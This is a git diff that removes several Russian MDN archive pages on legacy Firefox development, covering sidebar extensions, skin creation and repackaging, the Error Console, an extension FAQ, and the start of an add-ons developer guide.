- <p><img alt="Image:sidebar-installed.png" class="internal" src="/@api/deki/files/849/=Sidebar-installed.png"><br>
- <strong>Расширение EmptySidebar</strong></p>
- </div>
- <h2 id="Resources" name="Resources">Ресурсы</h2>
- <ul>
- <li><a href="/en/Code_snippets/Sidebar" title="en/Code_snippets/Sidebar">Code snippets:Sidebar</a></li>
- <li><a href="/ru/docs/Создание_расширения" title="en/Building_an_Extension">Создание расширения</a> (<a href="/en/Building_an_Extension" title="/en/Building_an_Extension">Building an Extension</a>)</li>
- <li><a class="external" href="http://books.mozdev.org/html/index.html">Creating Applications with Mozilla</a></li>
- <li><a class="external" href="http://www.bengoodger.com/software/mb/extensions/packaging/extensions.html">Packaging Firefox/Thunderbird Extensions</a></li>
- <li><a class="external" href="http://occidopagus.nl/firefox/emptysidebar/">Creating a Firefox 1 Sidebar</a></li>
- </ul>
- <div class="originaldocinfo">
- <h2 id="Original_Document_Information" name="Original_Document_Information">Оригинальная информация документа</h2>
- <ul>
- <li>Author: J.C. Wesdorp &lt;jcwesdorp . at . occidopagus.nl&gt; - May 30, 2005.</li>
- <li>Updated for Firefox 2 - Dec 12, 2006.</li>
- <li>Permission granted to migrate in Jan 2006, including permission to relicense under the CC:By-SA.</li>
- <li>Original Source: <a class="external" href="http://occidopagus.nl/firefox/emptysidebar/" rel="freelink">http://occidopagus.nl/firefox/emptysidebar/</a></li>
- </ul>
- </div>
-</div>
-<p>{{ languages( { "es": "es/Crear_un_panel_lateral_en_Firefox" } ) }}</p>
-<div id="cke_pastebin" style="position: absolute; top: 673.5px; width: 1px; height: 1px; overflow: hidden; left: -1000px;">
-  </div>
diff --git a/files/ru/creating_a_skin_for_firefox_getting_started/index.html b/files/ru/creating_a_skin_for_firefox_getting_started/index.html
deleted file mode 100644
index 358de9cd59..0000000000
--- a/files/ru/creating_a_skin_for_firefox_getting_started/index.html
+++ /dev/null
@@ -1,160 +0,0 @@
----
-title: Создание скина для Firefox/Начало работы
-slug: Creating_a_Skin_for_Firefox_Getting_Started
-tags:
- - Для новичков
- - Начало работы
- - Начальные файли дя работы
- - Первый сайт
- - Темы
-translation_of: Archive/Mozilla/Creating_a_sking_for_Firefox_Getting_Started
----
-<p>Скачайте и установите последнюю версию Firefox. Также Вам понадобится расширение DOM Inspector, убедитесь, что оно установлено.</p>
-
-<h4 id="Extract_Theme" name="Extract_Theme">Извлечение темы</h4>
-
-<p>Предполагается, что начать работу можно с любой темы, которая уже создана для Firefox, поэтому мы будем говорить о редактировании предзаданной темы Firefox.  Она находится в файле <code>classic.jar</code>, хранящемся в каталоге установки Firefox. Файл .jar, по сути является переименованным архивом zip. При открытии файлов .jar через менеджер архивов он автоматически распознается как zip-архив. Однако, если ваше приложение не распознает  <code>classic.jar</code> как стандартный архив zip, переименуйте в <code>classic.zip</code> и продолжите извлечение.</p>
-
-<div class="note">
-<p><strong>Примечание:</strong> Начиная с {{Gecko ("2.0") }}, скин содержится в новом файле <code>omni.jar</code>. См. <a href="/en/Theme_changes_in_Firefox_4" title="en/Theme changes in Firefox 4">Theme changes in Firefox 4</a> подробнее о том, как извлечь файлы skin из Firefox 4 или более поздней версии.</p>
-</div>
-
-<h4 id="Classic.jar_locations" name="Classic.jar_locations">Пути к Classic.jar</h4>
-
-<p><strong>Linux:</strong> /usr/lib/MozillaFirefox/chrome/classic.jar <em>or</em> /usr/lib/firefox-*.*.*/chrome/classic.jar</p>
-
-<p><strong>Windows:</strong> \Program Files\Mozilla Firefox\chrome\classic.jar</p>
-
-<p><strong>Для Mac OS X:</strong></p>
-
-<ul>
- <li>Перейдите в applications</li>
- <li>Удерживая Control, кликните мышью на иконку приложения (Firefox icon), Выберите Show Package Contents.</li>
- <li>Перейдите в contents/MacOS/Chrome/classic.jar</li>
-</ul>
-
-<p>Скопируйте <code>classic.jar</code> в другую более доступную папку -- мы рекомендуем <code>Classic</code>  -- извлеките содержимое этой папки, сохранив при этом структуру каталога.</p>
-
-<h4 id="Directories" name="Directories">Каталоги</h4>
-
-<p>В архиве <code>classic.jar</code> находится один каталог — <code>skin</code>, и два файла — <code>preview.png</code> и <code>icon.png</code>.</p>
-
-<dl>
- <dt><code>skin</code></dt>
- <dd>Этот файл содержит еще один каталог - <code>classic</code>, в котором находится много нужных каталогов.</dd>
- <dt><code>skin\classic</code></dt>
- <dd>В нем содержатся следующие каталоги:</dd>
- <dt><code>skin\classic\browser</code></dt>
- <dd>Тут находятся все иконки панели инструментов, а также иконки для менеджера закладок и окна предварительных настроек.</dd>
- <dt><code>skin\classic\communicator</code></dt>
- <dd>Не играет большой роли и не стоит внимания.</dd>
- <dt><code>skin\classic\global</code></dt>
- <dd>Содержит в себе почти все важные файлы CSS, которые определяют стиль и оформление браузера. <strong>Это самый важный каталог в теме</strong>.</dd>
- <dt><code>skin\classic\help</code></dt>
- <dd>Содержит все файлы для оформления диалогового окна справки.</dd>
- <dt><code>skin\classic\mozapps</code></dt>
- <dd>Тут лежат все стили и иконки для периферии браузера, таких как менеджер расширений или мастер обновлений.</dd>
-</dl>
-
-<h4 id="Install_Your_New_Theme" name="Install_Your_New_Theme">Создание собственной новой темы</h4>
-
-<p>Прежде чем отследить созданные в теме Firefox изменения (т.к. изменения достаточно сложно добавлять в интерактивном режиме), изучим, как переархивировать классическую тему так, чтобы ее можно было установить. Можно назвать вашу собственную тему "My_Theme", или любым другим именем.</p>
-
-<h4 id="Copying_The_Necessary_Files" name="Copying_The_Necessary_Files">Копирование необходимых файлов</h4>
-
-<p>Первым делом необходимо переместить все файлы в нужный каталог.  Для этого создадим новый каталог с именем <code>My_Theme</code>.  В него поместим каталоги <code>browser</code>, <code>global</code>, <code>communicator</code>, <code>help</code>, и <code>mozapps</code> , а также файлы <code>icon.png</code> и <code>preview.png</code>(да, это значит, что струтура нашего каталога будет немного отличаться от структуры каталога <code>classic.jar</code>).</p>
-
-<h4 id="Creating_the_Install_Files" name="Creating_the_Install_Files">Создание файлов установки</h4>
-
-<h4 id="Contents.rdf" name="Contents.rdf">Contents.rdf</h4>
-
-<p>Скопируйте <a href="/en/Creating_a_Skin_for_Firefox/contents.rdf" title="en/Creating_a_Skin_for_Firefox/contents.rdf">contents.rdf</a>, поместите его в <code>\My_Theme</code> и откройте в текстовом редакторе. Это небольшой файл XML Database, который используется для описния skin.</p>
-
-<p>В коде найдите все сущности "My_Theme" и замените их на название вашей темы.</p>
-
-<p>В разделе пакетов перечислено, какие компоненты браузера вы редактируете. Если у нас также есть скины для Chatzilla, нужно добавить еще одну похожую строку, ведущую на Chatzilla. Но данный список включает в себя все модификации, поэтому достаточно изменить текст, подсвеченный синим так, чтобы он совпадал с именем/версией, которую вы использовали выше.</p>
-
-<pre class="syntaxbox">&lt;RDF:li resource="urn:mozilla:skin:<strong style="color: #0000dd; font-weight: bold;">My_Theme</strong>:communicator"/&gt;
-&lt;RDF:li resource="urn:mozilla:skin:<strong style="color: #0000dd; font-weight: bold;">My_Theme</strong>:editor"/&gt;
-&lt;RDF:li resource="urn:mozilla:skin:<strong style="color: #0000dd; font-weight: bold;">My_Theme</strong>:global"/&gt;
-&lt;RDF:li resource="urn:mozilla:skin:<strong style="color: #0000dd; font-weight: bold;">My_Theme</strong>:messenger"/&gt;
-&lt;RDF:li resource="urn:mozilla:skin:<strong style="color: #0000dd; font-weight: bold;">My_Theme</strong>:navigator"/&gt;
-</pre>
-
-<p>Сохраните файл и закройте текстовый редактор.</p>
-
-<h4 id="install.rdf" name="install.rdf">install.rdf</h4>
-
-<p>Скопируйте <a href="/en/Creating_a_Skin_for_Firefox/install.rdf" title="en/Creating_a_Skin_for_Firefox/install.rdf">install.rdf</a> в каталог <code>My_Theme</code> и также откройте его в текстовом редакторе. Данный файл представляет собой небольшую базу данных XML, которая описывает скин.</p>
-
-<pre> &lt;Description about="urn:mozilla:install-manifest"&gt;
- &lt;em:id&gt;{Themes_UUID}&lt;/em:id&gt;
- &lt;em:version&gt;Themes_Version&lt;/em:version&gt;
-</pre>
-
-<p>В первой секции необходимо определить <a href="/en/Creating_a_Skin_for_Firefox/UUID" title="en/Creating_a_Skin_for_Firefox/UUID">UUID</a> для вашей темы и номер версии.</p>
-
-<p>Также, в следующей секции необходимо обновить минимальную и максимальную совместимые версии для целевого приложения (Firefox):</p>
-
-<pre> &lt;em:targetApplication&gt;
- &lt;Description&gt;
- &lt;!-- Firefox's UUID --&gt;
- &lt;em:id&gt;{ec8030f7-c20a-464f-9b0e-13a3a9e97384}&lt;/em:id&gt;
- &lt;em:minVersion&gt;Min_FF_Version&lt;/em:minVersion&gt;
- &lt;em:maxVersion&gt;Max_FF_Version&lt;/em:maxVersion&gt;
- &lt;/Description&gt;
- &lt;/em:targetApplication&gt;
-</pre>
-
-<p>Указав минимальную и максимальную совместимые версии, вы сможете избежать конфликтов с версиями Firefox, для которых ваша тема не была разработана или протестирована.</p>
-
-<p>См. подробнее о фале <code>install.rdf</code> в <a href="/en/Install_Manifests" title="en/Install_Manifests">Install Manifests</a>.</p>
-
-<h4 id="Файлы_CSS">Файлы CSS</h4>
-
-<p>Файлы CSS в данных каталогах сообщают браузеру как отображать кнопки и другие элементы управления, где вставить изображения, какую границу или отступ использовать вокруг них и прочее.</p>
-
-<p>Давайте в качестве примера изменим стандартную кнопку.</p>
-
-<p>Перейдите в глобальный каталог <code>global</code> и откройте файл стилей - <code>button.css</code> в любом текстовом редакторе. Прокрутите текст вниз до секции "<code>button {"</code>.  Эта секция определяет базовые настройки кнопки(например, такие как: цвет самой кнопки, цвет и расположение текста на самой кнопке, дизайн, размещение, активна или вовсе отключена).</p>
-
-<div class="blockIndicator note">
-<p>Совет: для быстрого нахождения нужных строк и значений используйте обычный поиск по файлу(практически во всех редакторах это сочетание клавиш Ctrl + F для Linux/Windows и Command + F для Mac OS)</p>
-</div>
-
-<p>Измените значение <code>background-color:</code> на <code>DarkBlue</code>, а значение <code>color:</code> на <code>White</code>, и сохраните файл.</p>
-
-<h4 id="Repackaging_JAR" name="Repackaging_JAR">Переархивирование JAR</h4>
-
-<p>Теперь осталось только переархивировать файл JAR со следующей структурой каталогов и создать zip архив, используя любой менеджер архивов:</p>
-
-<pre>/browser/*
-/communicator/*
-/global/*
-/help/*
-/mozapps/*
-/contents.rdf
-/install.rdf
-/icon.png
-/preview.png
- </pre>
-
-<p>Убедитесь, что вы не просто добавляете в zip-архив родительский каталог <code>My_Theme</code>, <span id="result_box" lang="ru"><span>так как это приведет к тому, что простая установка перетаскиванием в следующем шаге пройдет неудачно, но сообщений об ошибках не будет.</span> <span>После того, как вы поместили файлы в папку zip, переименуйте ее в My_Theme.jar. </span></span></p>
-
-<h4 id="Triggering_the_install_from_the_web" name="Triggering_the_install_from_the_web">Запуск установки из сети</h4>
-
-<p>Чтобы установить тему из файла JAR из сети, вопользуйтесь командой.</p>
-
-<pre class="eval">&lt;a href='javascript:InstallTrigger.installChrome(InstallTrigger.SKIN,
- "<strong style="color: #0000dd; font-weight: bold;">myskin.jar</strong>", "<strong style="color: #0000dd; font-weight: bold;">My Skin Theme</strong>")'&gt;install My Skin&lt;/a&gt;
-</pre>
-
-<p>Если файлы JAR на жестком диске, скачайте/используйте для установки <a href="http://developer.mozilla.org/samples/installjar.html">эту форму</a>.</p>
-
-<p>Также, можно открыть окно тем в Mozilla и перетащить туда ваш файл .jar.</p>
-
-<p>Теперь, чтобы снова переархивировать ваши папки в .jar, просто поместите ваши папки в файл .zip, а затем после сжатия переименуйте .zip в .jar.</p>
-
-
-
-<p>{{ languages( { "de": "de/Theme_erstellen/Einf\u00fchrung", "es": "es/Creando_un_skin_para_Firefox/Como_empezar", "fr": "fr/Cr\u00e9er_un_th\u00e8me_pour_Firefox//Premiers_pas", "ja": "ja/Creating_a_Skin_for_Firefox/Getting_Started", "pl": "pl/Tworzenie_sk\u00f3rek_dla_Firefoksa/Zaczynamy", "pt": "pt/Criando_um_visual_para_o_Firefox/Iniciando", "zh-tw": "zh_tw/\u88fd\u4f5c_Firefox_\u4f48\u666f\u4e3b\u984c/\u4e0a\u624b\u7bc7" } ) }}</p>
diff --git a/files/ru/error_console/index.html b/files/ru/error_console/index.html
deleted file mode 100644
index 16f1828b69..0000000000
--- a/files/ru/error_console/index.html
+++ /dev/null
@@ -1,60 +0,0 @@
----
-title: Консоль ошибок
-slug: Error_Console
-translation_of: Archive/Mozilla/Error_console
----
-<div class="warning">
-<p>Консоль ошибок является устаревшей в Firefox, и на данный момент доступна только при установке значения настройки <code>devtools.errorconsole.enabled</code> в <code>true</code>. Используйте вместо неё <a href="/ru/docs/Tools/Web_Console" title="Веб-консоль">веб-консоль</a> для веб-страниц или <a href="/ru/docs/Tools/Консоль_браузера" title="Консоль браузера">консоль браузера</a> для содержимого вкладки браузера.</p>
-</div>
-
-<p>Консоль ошибок — инструмент, доступный в большинстве приложений на базе Mozilla, который используется для информирования об ошибках в слое приложения и на веб-страницах, открытых пользователем. Сообщает об ошибках и предупреждениях <a href="/ru/docs/JavaScript" title="JavaScript">JavaScript</a>, <a href="/ru/docs/CSS" title="Cascading Style Sheets">CSS</a> и сообщениях из кода приложения. В Firefox консоль ошибок может быть открыта из меню «Инструменты» или сочетанием клавиш <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>J</kbd>.</p>
-
-<p>Для получения информации о том, какие исключения JavaScript выводятся в консоль ошибок, и как сделать все исключения регистрируемыми, прочтите статью <a href="/ru/docs/Exception_logging_in_JavaScript" title="Регистрация исключений в JavaScript">Регистрация исключений в JavaScript</a>. См. статью <a href="/ru/docs/Setting_up_extension_development_environment#Development_preferences" title="Настройка среды для разработки расширений">Настройка среды для разработки расширений</a>, чтобы узнать, какие настройки вы должны установить, если хотите видеть ошибки из Firefox и расширений в консоли ошибок.</p>
-
-<p>До версии <a href="/en-US/docs/Gecko" title="Gecko">Gecko</a> 1.8.1 (<a href="/en-US/docs/Firefox_2_for_developers" title="Firefox_2_for_developers">Firefox 2</a>) она называлась «консоль JavaScript» (см. {{Bug(265871)}}).</p>
-
-<table class="topicpage-table">
- <tbody>
- <tr>
- <td>
- <h2 class="Documentation" id="Types_of_errors" name="Types_of_errors">Типы ошибок</h2>
-
- <dl>
- <dt>Ошибка</dt>
- <dd><small>Обычно это синтаксическая ошибка, препятствующая компиляции программы.</small></dd>
- <dt>Предупреждение</dt>
- <dd><small>Обычно позволяет программе скомпилироваться, но предупреждает о плохом коде и указывает на недостатки проектирования.</small></dd>
- <dt>Сообщение</dt>
- <dd><small>Очень похоже на предупреждение, используется гораздо реже.</small></dd>
- </dl>
-
- <h2 class="Documentation" id="Manipulating_data_displayed_in_Error_Console" name="Manipulating_data_displayed_in_Error_Console"><span id="result_box" lang="ru"><span class="hps">Манипулирование</span> <span class="hps">данными, отображаемыми</span> <span class="hps">в</span> <span class="hps">консоли</span> <span class="hps">ошибок</span></span></h2>
-
- <p>Information displayed in Error Console can be accessed and manipulated through the <a href="/en-US/docs/Console_service" title="Console_service">Console service</a>.</p>
-
- <p>Extensions can write to the Error Console from JavaScript using <code><a href="/en-US/docs/Components.utils.reportError" title="Components.utils.reportError">Components.utils.reportError</a></code>, or if you're fine with logging to the OS-provided console, <code><a href="/en-US/docs/DOM/window.dump" title="DOM/window.dump">dump()</a></code>.</p>
-
- <p>To bring up Error Console from within a browser or mail window, use the function <code>toJavaScriptConsole()</code>.</p>
- </td>
- <td>
- <h2 class="Tools" id="Alternatives" name="Alternatives">Альтернативы</h2>
-
- <dl>
- <dt><a class="link-https" href="https://addons.mozilla.org/firefox/addon/1815">Console<sup>2</sup></a></dt>
- <dd><small>Это расширение предлагает замену консоли ошибок, исправляя множество ошибок и предлагая давно ожидаемые улучшения.</small></dd>
- <dt><a class="link-https" href="https://addons.mozilla.org/firefox/addon/1843">Firebug</a></dt>
- <dd><small>Это расширение Firefox также интегрирует в консоль ошибок <a href="http://www.getfirebug.com/errors.html">различные усовершенствования</a>.</small></dd>
- </dl>
-
- <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Связанные темы</h2>
-
- <ul>
- <li><a href="/ru/docs/JavaScript" title="JavaScript">JavaScript</a>, <a href="/ru/docs/CSS" title="CSS">CSS</a></li>
- <li><a href="/ru/docs/Web/Guide" title="Web_Development">Web Development</a></li>
- </ul>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p> </p>
diff --git a/files/ru/faq_по_расширениям/index.html b/files/ru/faq_по_расширениям/index.html
deleted file mode 100644
index 88a1da4dfc..0000000000
--- a/files/ru/faq_по_расширениям/index.html
+++ /dev/null
@@ -1,55 +0,0 @@
----
-title: FAQ по расширениям
-slug: FAQ_по_расширениям
-tags:
- - Расширения
-translation_of: Archive/Mozilla/Extension_Frequently_Asked_Questions
----
-<p>Это список ответов на наиболее часто возникающие вопросы при разработке расширеий. В основном они касаются Firefox, однако в большинстве своем могут быть распространены и на SeaMonkey, Thunderbird и другие приложения.</p>
-<p>Если вы ищите руководство к началу работы, посмотрите статью <a href="/ru/Создание_расширения" title="ru/Создание_расширения">Создание расширения</a> или <a class="external" href="http://kb.mozillazine.org/Getting_started_with_extension_development">MozillaZine's Getting started tutorial</a>. Попробуйте <a class="external" href="http://ted.mielczarek.org/code/mozilla/extensionwiz/">мастер расширений</a>, чтобы сгенерировать шаблон и начать с работать над расширением.</p>
-<p>Убедитесь, что <a href="/ru/Настройка_среды_разработки_расширений" title="ru/Настройка_среды_разработки_расширений"> настроили Firefox для разработки расширений</a>.</p>
-<h3 id=".D0.9E.D1.82.D0.BB.D0.B0.D0.B4.D0.BA.D0.B0">Отладка</h3>
-<p>Установите <a href="/ru/Настройка_среды_разработки_расширений#.D0.9D.D0.B0.D1.81.D1.82.D1.80.D0.BE.D0.B9.D0.BA.D0.B8_Firefox_.D0.B4.D0.BB.D1.8F_.D1.80.D0.B0.D0.B7.D1.80.D0.B0.D0.B1.D0.BE.D1.82.D0.BA.D0.B8" title="ru/Настройка_среды_разработки_расширений#.D0.9D.D0.B0.D1.81.D1.82.D1.80.D0.BE.D0.B9.D0.BA.D0.B8_Firefox_.D0.B4.D0.BB.D1.8F_.D1.80.D0.B0.D0.B7.D1.80.D0.B0.D0.B1.D0.BE.D1.82.D0.BA.D0.B8"> рекомендуемые настройки</a> для удобства отладки своего расширения.</p>
-<p><a href="/ru/Настройка_среды_разработки_расширений#.D0.A0.D0.B0.D1.81.D1.88.D0.B8.D1.80.D0.B5.D0.BD.D0.B8.D1.8F_.D0.B4.D0.BB.D1.8F_.D1.80.D0.B0.D0.B7.D1.80.D0.B0.D0.B1.D0.BE.D1.82.D0.BA.D0.B8" title="ru/Настройка_среды_разработки_расширений#.D0.A0.D0.B0.D1.81.D1.88.D0.B8.D1.80.D0.B5.D0.BD.D0.B8.D1.8F_.D0.B4.D0.BB.D1.8F_.D1.80.D0.B0.D0.B7.D1.80.D0.B0.D0.B1.D0.BE.D1.82.D0.BA.D0.B8"> Здесь</a> приведен список расширений, призванных помочь вам при отладке.</p>
-<h3 id=".D0.A0.D0.B0.D1.81.D1.88.D0.B8.D1.80.D0.B5.D0.BD.D0.B8.D0.B5_.D0.BD.D0.B5_.D1.80.D0.B0.D0.B1.D0.BE.D1.82.D0.B0.D0.B5.D1.82.2C_.D0.BD.D0.BE_.D0.BD.D0.B5_.D0.B2.D0.B8.D0.B6.D1.83_.D0.BE.D1.88.D0.B8.D0.B1.D0.BE.D0.BA_.D0.B2_.D0.BA.D0.BE.D0.BD.D1.81.D0.BE.D0.BB.D0.B8">Расширение не работает, но не вижу ошибок в консоли</h3>
-<p>Установите в настройках (<a class="external" href="http://www.mozilla.org/support/firefox/edit">about:config</a>) опцию</p>
-<pre class="eval">javascript.options.showInConsole = true
-</pre>
-<p>Это приведет к тому, что ошибки JavaScript будут выводиться в консоль ошибок.</p>
-<h3 id=".D0.9A.D0.B0.D0.BA_.D0.B2.D1.8B.D0.B2.D0.B5.D1.81.D1.82.D0.B8_.D1.82.D0.B5.D0.BA.D1.81.D1.82_.D0.B8.D0.B7_.D0.BA.D0.BE.D0.B4.D0.B0_.D1.80.D0.B0.D1.81.D1.88.D0.B8.D1.80.D0.B5.D0.BD.D0.B8.D1.8F">Как вывести текст из кода расширения</h3>
-<p>Кроме alert(), можно воспользоваться <a href="/en/DOM:window.dump">dump()</a>, <a href="/en/Components.utils.reportError">Components.utils.reportError()</a> или <a href="/en/nsIConsoleService">the nsIConsoleService</a>. Можете попробовать также расширение <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/216">Venkman JavaScript Debugger</a>.</p>
-<h3 id=".D0.9F.D0.BE.D1.87.D0.B5.D0.BC.D1.83_.D0.BC.D0.BE.D1.8F_.D0.BF.D1.80.D0.BE.D0.B3.D1.80.D0.B0.D0.BC.D0.BC.D0.B0_.D0.BD.D0.B5_.D1.80.D0.B0.D0.B1.D0.BE.D1.82.D0.B0.D0.B5.D1.82.3F">Почему моя программа не работает?</h3>
-<p>При возникновении проблем прежде всего изучите консоль ошибок.</p>
-<p>Частой ошибкой является обращение к узлам DOM окна до его полной загрузки. Это может случиться, если вы поместите такой код вне каких-либо функций (т.е. он выполнится при первом же просмотре скрипта исполнительной системой JavaScript).Если вам необходимо что-либо сделать сразу же при загрузке браузера, оформите эти действия в функцию и поставьте ее обработчиком события <code>load</code>:</p>
-<pre class="eval">function onBrowserStartup(evt){
- //код, выполняющийся при загрузке браузера
-}
-window.addEventListener("load", onBrowserStartup, false);
-</pre>
-<h3 id=".D0.9A.D0.B0.D0.BA_.D0.BF.D0.BE.D0.BB.D1.83.D1.87.D0.B8.D1.82.D1.8C_.D0.B4.D0.BE.D1.81.D1.82.D1.83.D0.BF_.D0.BA_.D0.B2.D0.B5.D0.B1-.D1.81.D1.82.D1.80.D0.B0.D0.BD.D0.B8.D1.86.D0.B5.3F">Как получить доступ к веб-странице?</h3>
-<p>Для получить доступ к загруженной странице из оверлея для <code>browser.xul</code>, надо воспользоваться <code>content.document</code> вместо привычного <code>document</code>. Для получения дополнительной информации смотрите статью <a href="/en/Working_with_windows_in_chrome_code#Content windows">Работы с окнами в коде chrome</a>.</p>
-<p>Кроме того, по умолчанию <a href="/en/XPCNativeWrapper">en:XPCNativeWrapper</a> ограждает вас от доступа к определенным скриптами объектам на веб-странице и от совершению не которых других вещей.</p>
-<h3 id=".D0.9D.D0.B5.D0.BF.D0.BE.D0.BD.D1.8F.D1.82.D0.BD.D1.8B.D0.B5_.D0.BE.D1.88.D0.B8.D0.B1.D0.BA.D0.B8_XML-.D0.BF.D0.B0.D1.80.D1.81.D0.B5.D1.80.D0.B0">Непонятные ошибки XML-парсера</h3>
-<p>Часто ошибки XML-парсинга вызываются использованием спецсимволов XML, например &amp; или &lt;. Например, нельзя писать так</p>
-<pre class="eval">&lt;button oncommand="window.open('<span class="nowiki">http://example.com/</span>q?param1=value<strong>&amp;param2</strong>=val2')"/&gt;
-</pre>
-<p>и так</p>
-<pre class="eval">&lt;script&gt;function lesser(a,b) { return <strong>a &lt; b</strong> ? a : b; }&lt;/script&gt;
-</pre>
-<p>Есть несколько путей решения этой проблемы:</p>
-<ol> <li>заменить эти символы на соответствующие обзначения ("&amp;" - "&amp;amp", "&lt;" - "&amp;lt;" и т.п.).</li> <li>если заменить нельзя (например, это скрипт), замкните текст с этими символами в теги <code>CDATA</code></li>
-</ol>
-<pre>&lt;script&gt;&lt;![CDATA[
- function lesser(a,b) {
- return a &lt; b ? a : b;
- }
- ]]&gt;&lt;/script&gt;
- </pre>
-<p>или поместите скрипт в отдельный файл и подключите его в главном файле.</p>
-<pre>&lt;script type="application/x-javascript" src="file.js"/&gt;</pre>
-<h3 id=".D0.9F.D0.BE.D0.BB.D1.8C.D0.B7.D1.83.D0.B9.D1.82.D0.B5.D1.81.D1.8C_.D0.B3.D0.BE.D1.82.D0.BE.D0.B2.D1.8B.D0.BC_.D0.BA.D0.BE.D0.B4.D0.BE.D0.BC">Пользуйтесь готовым кодом</h3>
-<p>Расширения поставляются в исходных кодах, поэтому вы вольны просматривать их код и узнавать, как они работают. XPI и JAR файлы являются просто переименованными zip-архивами.</p>
-<h3 id=".D0.93.D0.B4.D0.B5_.D0.B5.D1.89.D0.B5_.D0.BC.D0.BE.D0.B6.D0.BD.D0.BE_.D0.BF.D0.BE.D0.BB.D1.83.D1.87.D0.B8.D1.82.D1.8C_.D0.B8.D0.BD.D1.84.D0.BE.D1.80.D0.BC.D0.B0.D1.86.D0.B8.D1.8E.3F">Где еще можно получить информацию?</h3>
-<p>Просмотрите <a href="/Special:Tags?tag=Extensions&amp;language=en">документацию, касающуюся расширений</a>, <a href="/en/Code_snippets">примеры кода</a>, <a class="external" href="http://kb.mozillazine.org/Category:Example_code">примеры кода на MozillaZine</a>.</p>
-<p>Обратите внимание на <a href="/en/Extensions:Other_Resources">en: Extensions:Other Resources</a> и <a href="/en/Extensions:Community">en: Extensions:Community</a>.</p>
-<p>{{ languages( { "de": "de/Erweiterungen_FAQ", "es": "es/Preguntas_frecuentes_sobre_Extensiones", "fr": "fr/Foire_aux_questions_sur_les_extensions", "it": "it/Domande_frequenti_sulle_Estensioni", "ja": "ja/Extension_Frequently_Asked_Questions", "pl": "pl/Cz\u0119sto_zadawane_pytania_dotycz\u0105ce_rozszerze\u0144", "en": "en/Extension_Frequently_Asked_Questions" } ) }}</p>
diff --git a/files/ru/firefox_addons_developer_guide/index.html b/files/ru/firefox_addons_developer_guide/index.html
deleted file mode 100644
index 2d70d83073..0000000000
--- a/files/ru/firefox_addons_developer_guide/index.html
+++ /dev/null
@@ -1,15 +0,0 @@
----
-title: Руководство разработчика дополнений Firefox
-slug: Firefox_addons_developer_guide
-translation_of: Archive/Add-ons/Overlay_Extensions/Firefox_addons_developer_guide
----
-<p>{{ Next("Firefox addons developer guide/Introduction to Extensions") }}</p>
-<p><a class="internal" href="/ru/Firefox_addons_developer_guide/Introduction_to_Extensions" title="En/Firefox addons developer guide/Introduction to Extensions">Глава 1: Знакомство с расширениями</a></p>
-<p><a class="internal" href="/ru/Firefox_addons_developer_guide/Technologies_used_in_developing_extensions" title="En/Firefox Addons Dev Guide/Technologies used in developing extensions">en: Chapter 2: Technologies used in developing extensions</a></p>
-<p><a class="internal" href="/ru/Firefox_addons_developer_guide/Introduction_to_XUL—How_to_build_a_more_intuitive_UI" title="En/Firefox Addons Dev Guide/Introduction to XUL—How to build a more intuitive UI">en: Chapter 3: Introduction to XUL—How to build a more intuitive UI</a></p>
-<p><a class="internal" href="/ru/Firefox_addons_developer_guide/Using_XPCOM—Implementing_advanced_processes" title="En/Firefox addons developer guide/Using XPCOM—Implementing advanced processes">en: Chapter 4: Using XPCOM—Implementing advanced processes</a></p>
-<p><a class="internal" href="/ru/Firefox_addons_developer_guide/Let's_build_a_Firefox_extension" title="En/Firefox addons developer guide/Let's build a Firefox extension">en: Chapter 5: Let's build a Firefox extension</a></p>
-<p><a class="internal" href="/ru/Firefox_addons_developer_guide/Firefox_extensions_and_XUL_applications" title="En/Firefox addons developer guide/Firefox extensions and XUL applications">en: Chapter 6: Firefox extensions and XUL applications</a></p>
-<p><a class="internal" href="/En/Firefox_addons_developer_guide/License_authors" title="En/Firefox addons developer guide/License authors"><strong>en: License and authors</strong></a></p>
-<p>{{ Next("Firefox addons developer guide/Introduction to Extensions") }}</p>
-<p>{{ languages( { "de" : "de/Firefox_addons_developer_guide" } ) }}</p>
diff --git a/files/ru/firefox_addons_developer_guide/introduction_to_extensions/index.html b/files/ru/firefox_addons_developer_guide/introduction_to_extensions/index.html
deleted file mode 100644
index 18f93ceece..0000000000
--- a/files/ru/firefox_addons_developer_guide/introduction_to_extensions/index.html
+++ /dev/null
@@ -1,163 +0,0 @@
----
-title: 'Глава 1: Знакомство с расширениями'
-slug: Firefox_addons_developer_guide/Introduction_to_Extensions
-translation_of: >-
- Archive/Add-ons/Overlay_Extensions/Firefox_addons_developer_guide/Introduction_to_Extensions
----
-<div>
- {{ Draft() }}</div>
-<p>{{ PreviousNext("Firefox_addons_developer_guide", "Firefox_addons_developer_guide/Technologies_used_in_developing_extensions") }}</p>
-<div class="note">
- <strong>Note: </strong>If you want contribute to this document please following guidelines from the <a class="internal" href="/en-US/docs/Firefox_addons_developer_guide/Contribute" title="En/Firefox_addons_developer_guide/Contribute">Contribute</a> page.</div>
-<p><em>This document was authored by </em><a class="external" href="http://level.s69.xrea.com/mozilla/" title="http://level.s69.xrea.com/mozilla/"><em>Hideyuki Emura</em></a><em> and was originally published in Japanese for the </em><a class="link-https" href="https://wiki.mozilla.org/Japan/FxDevCon/Summer2007/English" title="https://wiki.mozilla.org/Japan/FxDevCon/Summer2007/English"><em>Firefox Developers Conference Summer 2007</em></a><em>. Emura-san is a co-author of <a class="external" href="http://www.oreilly.co.jp/books/9784873113753/index.html" title="http://www.oreilly.co.jp/books/9784873113753/index.html">Firefox 3 Hacks</a> (O'Reilly Japan, 2008.)</em></p>
-<h2 id="Введение">Введение</h2>
-<p>Если вы читаете это руководство, то, вероятно, уже использовали Firefox до этого. Возможно после знакомства с Firefox, вы были удивлены тем, что это приложение имеет более простую структуру, чем другие навороченые браузеры, такие как Opera или Safari.</p>
-<p>Какие возможности сейчас считаются стандартными для браузеров? Возможно такие вещи, как тонкая настройка табов, мышиные жесты, множество панелей инструментов и кнопок, расширяющих возможности, RSS-читалка, интеграция со множеством веб-приложений или современные инструменты для помощи с созданием веб-страниц? Но мы не ставили перед собой задачу создать браузер все-в-одном, который может удовлетворить всех.</p>
-<p>Вместо этого, Firefox может получить дополнительную функциональность при помощи расширений. Сам браузер ограничен основной функциональностью, чтобы новичек мог без проблем разобраться в его работе, остальные, кто хочет что-то кроме этого, могут установить расширения.</p>
-<h2 id="О_расширениях">О расширениях</h2>
